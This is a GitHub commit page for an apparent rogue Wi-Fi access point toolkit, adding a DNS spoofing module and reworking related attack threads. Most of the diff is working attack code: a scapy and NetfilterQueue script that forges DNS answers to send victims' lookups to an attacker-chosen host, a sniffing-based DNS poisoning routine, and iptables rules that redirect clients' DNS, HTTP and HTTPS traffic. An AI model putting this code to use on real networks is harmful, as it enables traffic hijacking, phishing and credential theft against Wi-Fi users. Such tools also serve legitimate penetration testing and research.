Skip to content
This repository has been archived by the owner on Apr 19, 2020. It is now read-only.

Commit

Permalink
added new module DNS spoof with NetfilterQueue
Browse files Browse the repository at this point in the history
  • Loading branch information
mh4x0f committed Jul 30, 2016
1 parent 6716725 commit 481bee2
Show file tree
Hide file tree
Showing 17 changed files with 395 additions and 250 deletions.
4 changes: 4 additions & 0 deletions CHANGELOG
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,10 @@ Version 0.7.8
- fixed duplicate logging::setup_logger when run more than once
- fixed Thread::sslstrip added Reactor.run() to Threads
- fixed error when running ettercap and driftnet in menu::tools #67
- fixed directory module in ThreadHTTPServerPhishing
- fixed domain-name-servers in dhcpd server
- fixed re-design Modules DNS spoof, Update Fake Attack
- added new module DNS spoof with NetfilterQueue

Version 0.7.5
-------------
Expand Down
21 changes: 11 additions & 10 deletions Core/Main.py
Original file line number Diff line number Diff line change
Expand Up @@ -48,6 +48,7 @@
from Core.widgets.docks.DockMonitor import dockAreaAPI
from Core.utility.settings import frm_Settings
from Core.helpers.update import ProgressBarWid
from netfilterqueue import NetfilterQueue

"""
Description:
Expand Down Expand Up @@ -467,7 +468,7 @@ def show_settings(self):

def show_windows_update(self):
self.FWinUpdate = GUIModules.frm_update_attack()
self.FWinUpdate.setGeometry(QRect(100, 100, 450, 300))
self.FWinUpdate.setGeometry(QRect(100, 100, 300, 300))
self.FWinUpdate.show()

def show_dhcpDOS(self):
Expand All @@ -492,7 +493,7 @@ def form_mac(self):

def show_dns_spoof(self):
self.Fdns = GUIModules.frm_DnsSpoof()
self.Fdns.setGeometry(QRect(100, 100, 450, 300))
self.Fdns.setGeometry(QRect(100, 100, 450, 500))
self.Fdns.show()

def show_PhishingManager(self):
Expand Down Expand Up @@ -648,11 +649,13 @@ def kill(self):
self.dockAreaList[dock].clear()
self.dockAreaList[dock].stopProcess()
self.PumpSettingsTAB.GroupArea.setEnabled(True)
for thread in self.Apthreads['RougeAP']:
thread.stop()
if hasattr(thread, 'wait'):
if not thread.wait(msecs=500):
thread.terminate()
try:
for thread in self.Apthreads['RougeAP']:
thread.stop()
if hasattr(thread, 'wait'):
if not thread.wait(msecs=500):
thread.terminate()
except Exception: pass
for kill in self.SettingsAP['kill']:
Popen(kill.split(), stdout=PIPE,shell=False,stderr=PIPE)
Refactor.settingsNetworkManager(self.ConfigTwin['AP_iface'],Remove=True)
Expand Down Expand Up @@ -761,7 +764,7 @@ def CoreSettings(self):
'option subnet-mask {};\n'.format(self.DHCP['netmask']),
'option broadcast-address {};\n'.format(self.DHCP['broadcast']),
'option domain-name \"%s\";\n'%(str(self.EditApName.text())),
'option domain-name-servers {};\n'.format(self.DHCP['router']),
'option domain-name-servers {};\n'.format('8.8.8.8'),
'range {};\n'.format(self.DHCP['range'].replace('/',' ')),
'}',
],
Expand Down Expand Up @@ -966,8 +969,6 @@ def StartApFake(self):
for f in filelist: system('rm Logs/AccessPoint/{}'.format(f))
for dock in self.dockAreaList.keys():
self.dockAreaList[dock].RunThread()
if self.PopUpPlugins.check_noproxy.isChecked() or self.PopUpPlugins.check_sergioProxy.isChecked():
popen('iptables -t nat -A PREROUTING -p udp -j DNAT --to {}'.format(str(self.EditGateway.text())))
print('AP::[{}] Running...'.format(self.EditApName.text()))
print('AP::BSSID::[{}] CH {}'.format(Refactor.get_interface_mac(
self.selectCard.currentText()),self.EditChannel.text()))
Expand Down
1 change: 1 addition & 0 deletions Core/Utils.py
Original file line number Diff line number Diff line change
Expand Up @@ -128,6 +128,7 @@ def exportHtml(remove_dns2proxy=False,remove_inject=False):
'requestAP': {'Logs/AccessPoint/requestAP.log':[]},
'dns2proxy': {'Logs/AccessPoint/dns2proxy.log':[]},
'injectionPage': {'Logs/AccessPoint/injectionPage.log':[]},
'dnsspoofAP': {'Logs/AccessPoint/DnsSpoofModuleReq.log':[]},
'phishing': {'Logs/Phishing/Webclone.log':[]},}
if remove_dns2proxy: readFile.pop('dns2proxy')
elif remove_inject: readFile.pop('injectionPage')
Expand Down
4 changes: 3 additions & 1 deletion Core/config/app/config.ini
Original file line number Diff line number Diff line change
Expand Up @@ -75,7 +75,9 @@ dns2proxy_plugin=true
sergioproxy_plugin=false

[iptables]
iptablespolicy1=iptables --policy INPUT ACCEPT
iptablespolicy2=iptables --policy OUTPUT ACCEPT
iptables_accept=iptables -P FORWARD ACCEPT
iptables_gateway=iptables --append FORWARD --in-interface $$ -j ACCEPT
iptables_masq=iptables --table nat --append POSTROUTING --out-interface $$ -j MASQUERADE
iptables_gateway=iptables --append FORWARD --in-interface $$ -j ACCEPT
iptables_route=iptables -t nat -A POSTROUTING -j MASQUERADE
4 changes: 4 additions & 0 deletions Core/config/commits/Lcommits.cfg
Original file line number Diff line number Diff line change
Expand Up @@ -11,6 +11,10 @@ master:
{ changelog : 'fixed duplicate logging::setup_logger when run more than once' },
{ changelog : 'fixed Thread::sslstrip added Reactor.run() to Threads' },
{ changelog : 'fixed error when running ettercap and driftnet in menu::tools #67' },
{ changelog : 'fixed directory module in ThreadHTTPServerPhishing' },
{ changelog : 'fixed domain-name-servers in dhcpd server' },
{ changelog : 'fixed re-design Modules DNS spoof, Update Fake Attack' },
{ changelog : 'added new module DNS spoof with NetfilterQueue' },
]

WiFiPumpkin:
Expand Down
95 changes: 95 additions & 0 deletions Core/packets/dnsspoofNF.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,95 @@
#!/usr/bin/env python
import argparse
import logging
from scapy.all import *
from time import asctime
from netfilterqueue import NetfilterQueue
logging.getLogger('scapy.runtime').setLevel(logging.ERROR)

"""
Description:
This program is a module for wifi-pumpkin.py file which includes new implementation
for Dns spoof Attack with NetfilterQueue and iptables.
Copyright:
Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>
"""

'''http://stackoverflow.com/questions/17035077/python-logging-to-multiple-log-files-from-different-classes'''
def setup_logger(logger_name, log_file, level=logging.INFO):
l = logging.getLogger(logger_name)
formatter = logging.Formatter('%(message)s')
fileHandler = logging.FileHandler(log_file, mode='a')
fileHandler.setFormatter(formatter)
streamHandler = logging.StreamHandler()
streamHandler.setFormatter(formatter)

l.setLevel(level)
l.addHandler(fileHandler)
l.addHandler(streamHandler)


class DnsSpoofNetFilter(object):
def __init__(self):
""" implementation Dnsspoof with Netfilterqueue Modules"""
description = "Module DNS spoofing v0.1"
usage = "Usage: use --help for futher information"
parser = argparse.ArgumentParser(description = description, usage = usage)
parser.add_argument('-d','--domains', dest = 'domains', help = 'Specify the domains', required = True)
parser.add_argument('-r', '--redirect', dest = 'redirect', help = 'Redirect host ', required = True)
self.args = parser.parse_args()

def logggingCreate(self):
setup_logger('dnsspoofAP', './Logs/AccessPoint/DnsSpoofModuleReq.log')
self.logDNS = logging.getLogger('dnsspoofAP')
self.logDNS.info('Dns Spoof: running... at: {}'.format(asctime()))

def callback(self,packet):
payload = packet.get_payload()
pkt = IP(payload)
if not pkt.haslayer(DNSQR):
packet.accept()
else:
if pkt[DNS].qd.qname[:len(str(pkt[DNS].qd.qname))-1] in self.domain:
self.logDNS.info('Target: {} -> ({}/DNS server) has searched for: {}'.format(pkt[IP].src,
self.redirect,pkt[DNS].qd.qname[:len(str(pkt[DNS].qd.qname))-1]))
spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=self.redirect))
packet.set_payload(str(spoofed_pkt))
send(spoofed_pkt,verbose=False)
packet.accept()
elif len(self.domain) == 0:
spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=self.redirect))
packet.set_payload(str(spoofed_pkt))
send(spoofed_pkt,verbose=False)
packet.accept()
else:
packet.accept()

def main(self):
self.redirect, self.domain = self.args.redirect, self.args.domains.split(',')
self.q = NetfilterQueue()
self.logggingCreate()
self.q.bind(0, self.callback)
self.q.run()

if __name__ == "__main__":
dnsspoof = DnsSpoofNetFilter()
dnsspoof.main()
113 changes: 64 additions & 49 deletions Core/packets/network.py
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,8 @@
from os import system
from scapy.all import *
from threading import Thread
from PyQt4.QtCore import QThread,SIGNAL
from time import sleep
from PyQt4.QtCore import QThread,SIGNAL,QObject,QProcess,pyqtSlot,SLOT,pyqtSignal
from datetime import datetime

"""
Expand All @@ -11,7 +12,7 @@
for modules.
Copyright:
Copyright (C) 2015 Marcos Nesster P0cl4bs Team
Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
Expand Down Expand Up @@ -73,16 +74,48 @@ def run(self):
print 'Starting Thread:' + self.objectName()
pkt = self.makePacket()
while self.process:
sendp(pkt,verbose=False)
sleep(2)

send(pkt,verbose=False, count=3),sendp(pkt,verbose=False, count=3)
def stop(self):
self.process = False
print 'Stop thread:' + self.objectName()
self.emit(SIGNAL('Activated( QString )'),'Ok')


class ThreadDNSspoofNF(QObject):
DnsReq = pyqtSignal(object)
def __init__(self,domains,interface,redirect,APmode=True,parent=None):
super(ThreadDNSspoofNF, self).__init__(parent)
self.domains = domains
self.interface = interface
self.redirect = redirect
self.APmode = APmode
self.desc = 'DNS spoof Module::NetFilter'

@pyqtSlot()
def readProcessOutput(self):
self.data = str(self.procThreadDNS.readAllStandardOutput())
self.DnsReq.emit(self.data)

def start(self):
self.setIptables(self.APmode,option='A')
self.procThreadDNS = QProcess(self)
self.procThreadDNS.setProcessChannelMode(QProcess.MergedChannels)
QObject.connect(self.procThreadDNS, SIGNAL('readyReadStandardOutput()'), self, SLOT('readProcessOutput()'))
self.procThreadDNS.start('python',['Core/packets/dnsspoofNF.py','-r',self.redirect,
'-d',','.join(self.domains)])

def setIptables(self,APMode=True, option=str()):
if APMode:
system('iptables -{} INPUT -i {} -p udp --dport 53 -s {} -j ACCEPT'.format(option,self.interface,self.redirect))
system('iptables -{} INPUT -i {} -p udp --dport 53 -j DROP'.format(option,self.interface))
system('iptables -t nat -{} PREROUTING -p udp --dport 53 -j NFQUEUE'.format(option))

def stop(self):
self.setIptables(self.APmode,option='D')
if hasattr(self,'procThreadDNS'):
self.procThreadDNS.terminate()
self.procThreadDNS.waitForFinished()
self.procThreadDNS.kill()

class ThSpoofAttack(QThread):
def __init__(self,domains,interface,filter,verbose,redirect):
Expand Down Expand Up @@ -118,10 +151,10 @@ def ARP(self,target,gateway):

def StartSpoof(self,q):
while self.finished:
sniff(iface = self.interface,
count = 10, filter = self.filter, prn = lambda x : q.put(x))
sniff(iface = self.interface,count = 10, filter = self.filter, prn = lambda x : q.put(x))

def sniff(self):
self.setIptables(option='A')
q = Queue.Queue()
sniffer = Thread(target =self.StartSpoof, args = (q,))
sniffer.daemon = True
Expand All @@ -135,23 +168,19 @@ def sniff(self):

def Poisoning(self,packet):
#https://github.com/Adastra-thw/pyHacks/blob/master/MitmDnsSpoofingPoC.py
if packet.haslayer(DNS) and packet.getlayer(DNS).qr == 0 and len(self.target) > 0:
for targetDomain, ipAddressTarget in self.target.items():
if packet.getlayer(DNS).qd.qname == targetDomain:
try:
requestIP = packet[IP]
requestUDP = packet[UDP]
requestDNS = packet[DNS]
requestDNSQR = packet[DNSQR]
responseIP = IP(src=requestIP.dst, dst=requestIP.src)
responseUDP = UDP(sport = requestUDP.dport, dport = requestUDP.sport)
responseDNSRR = DNSRR(rrname=packet.getlayer(DNS).qd.qname, rdata = ipAddressTarget)
responseDNS = DNS(qr=1,id=requestDNS.id, qd=requestDNSQR, an=responseDNSRR)
answer = responseIP/responseUDP/responseDNS
send(answer)
except:
pass
elif packet.haslayer(DNS) and packet.getlayer(DNS).qr == 0 and len(self.target) == 0:
if packet.haslayer(DNS) and packet.getlayer(DNS).qr == 0 and len(self.target.keys()) > 0:
if packet[DNS].qd.qname[:len(str(packet[DNS].qd.qname))-1] in self.target.keys():
requestIP = packet[IP]
requestUDP = packet[UDP]
requestDNS = packet[DNS]
requestDNSQR = packet[DNSQR]
responseIP = IP(src=requestIP.dst, dst=requestIP.src)
responseUDP = UDP(sport = requestUDP.dport, dport = requestUDP.sport)
responseDNSRR = DNSRR(rrname=packet.getlayer(DNS).qd.qname, rdata = self.redirect)
responseDNS = DNS(qr=1,id=requestDNS.id, qd=requestDNSQR, an=responseDNSRR)
answer = responseIP/responseUDP/responseDNS
send(answer)
elif packet.haslayer(DNS) and packet.getlayer(DNS).qr == 0 and len(self.target.keys()) == 0:
try:
requestIP = packet[IP]
requestUDP = packet[UDP]
Expand All @@ -165,32 +194,18 @@ def Poisoning(self,packet):
send(answer)
except Exception:
pass
def redirection(self):
system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE')
system('iptables --append FORWARD --in-interface '+self.interface+' --jump ACCEPT')
system('iptables --table nat --append POSTROUTING --out-interface '+self.interface+' --jump MASQUERADE')
system('iptables -t nat -A PREROUTING -p tcp --dport 80 --jump DNAT --to-destination '+self.redirect)
system('iptables -t nat -A PREROUTING -p tcp --dport 443 --jump DNAT --to-destination '+self.redirect)
system('iptables -t nat -A PREROUTING -i '+self.interface+' -p udp --dport 53 -j DNAT --to '+self.redirect)
system('iptables -t nat -A PREROUTING -i '+self.interface+' -p tcp --dport 53 -j DNAT --to '+self.redirect)

def redirectionAP(self):
system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE')
system('iptables -t nat -A PREROUTING -p tcp --dport 80 --jump DNAT --to-destination '+self.redirect)
system('iptables -t nat -A PREROUTING -p tcp --dport 443 --jump DNAT --to-destination '+self.redirect)
system('iptables -t nat -A PREROUTING -i '+self.interface+' -p udp --dport 53 -j DNAT --to '+self.redirect)
system('iptables -t nat -A PREROUTING -i '+self.interface+' -p tcp --dport 53 -j DNAT --to '+self.redirect)

def redirectionRemove(self):
system('iptables -t nat -D PREROUTING -p udp --dport 53 -j NFQUEUE')
system('iptables -D FORWARD --in-interface '+self.interface+' --jump ACCEPT')
system('iptables --table nat -D POSTROUTING --out-interface '+self.interface+' --jump MASQUERADE')
system('iptables -t nat -D PREROUTING -p tcp --dport 80 --jump DNAT --to-destination '+self.redirect)
system('iptables -t nat -D PREROUTING -p tcp --dport 443 --jump DNAT --to-destination '+self.redirect)
system('iptables -t nat -D PREROUTING -i '+self.interface+' -p udp --dport 53 -j DNAT --to '+self.redirect)
system('iptables -t nat -D PREROUTING -i '+self.interface+' -p tcp --dport 53 -j DNAT --to '+self.redirect)

def setIptables(self,option=str()):
system('iptables -t nat -{} PREROUTING -p udp --dport 53 -j NFQUEUE'.format(option))
system('iptables -{} FORWARD --in-interface {} --jump ACCEPT'.format(option,self.interface))
system('iptables -t nat -{} POSTROUTING --out-interface {} --jump MASQUERADE'.format(option,self.interface))
system('iptables -t nat -{} PREROUTING -p tcp --dport 80 --jump DNAT --to-destination {}'.format(option,self.redirect))
system('iptables -t nat -{} PREROUTING -p tcp --dport 443 --jump DNAT --to-destination {}'.format(option,self.redirect))
system('iptables -t nat -{} PREROUTING -i {} -p udp --dport 53 -j DNAT --to {}'.format(option,self.interface,self.redirect))
system('iptables -t nat -{} PREROUTING -i {} -p tcp --dport 53 -j DNAT --to {}'.format(option,self.interface,self.redirect))

def stop(self):
print 'Stop Thread:' + self.objectName()
self.finished = True
self.redirectionRemove()
self.setIptables(option='D')
self.emit(SIGNAL('Activated( QString )'),'finished')
9 changes: 2 additions & 7 deletions Core/utility/settings.py
Original file line number Diff line number Diff line change
Expand Up @@ -339,13 +339,8 @@ def Qui(self):
self.txt_arguments.setText(self.Settings.get_setting('settings','mdk3'))
self.scanIP_selected = self.Settings.get_setting('settings','Function_scan')

if self.scanIP_selected == 'Ping':
self.scan1.setChecked(True)
self.scan2.setChecked(False)
elif self.scanIP_selected == 'Nmap':
self.scan2.setChecked(True)
self.scan1.setChecked(False)

if self.scanIP_selected == 'Ping': self.scan1.setChecked(True)
self.scan2.setEnabled(False)
#settings tab Advanced
self.redirectport.setText(self.Settings.get_setting('settings','redirect_port'))

Expand Down
Loading

1 comment on commit 481bee2

@mh4x0f
Copy link
Member Author

@mh4x0f mh4x0f commented on 481bee2 Jul 30, 2016

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

#65

Please sign in to comment.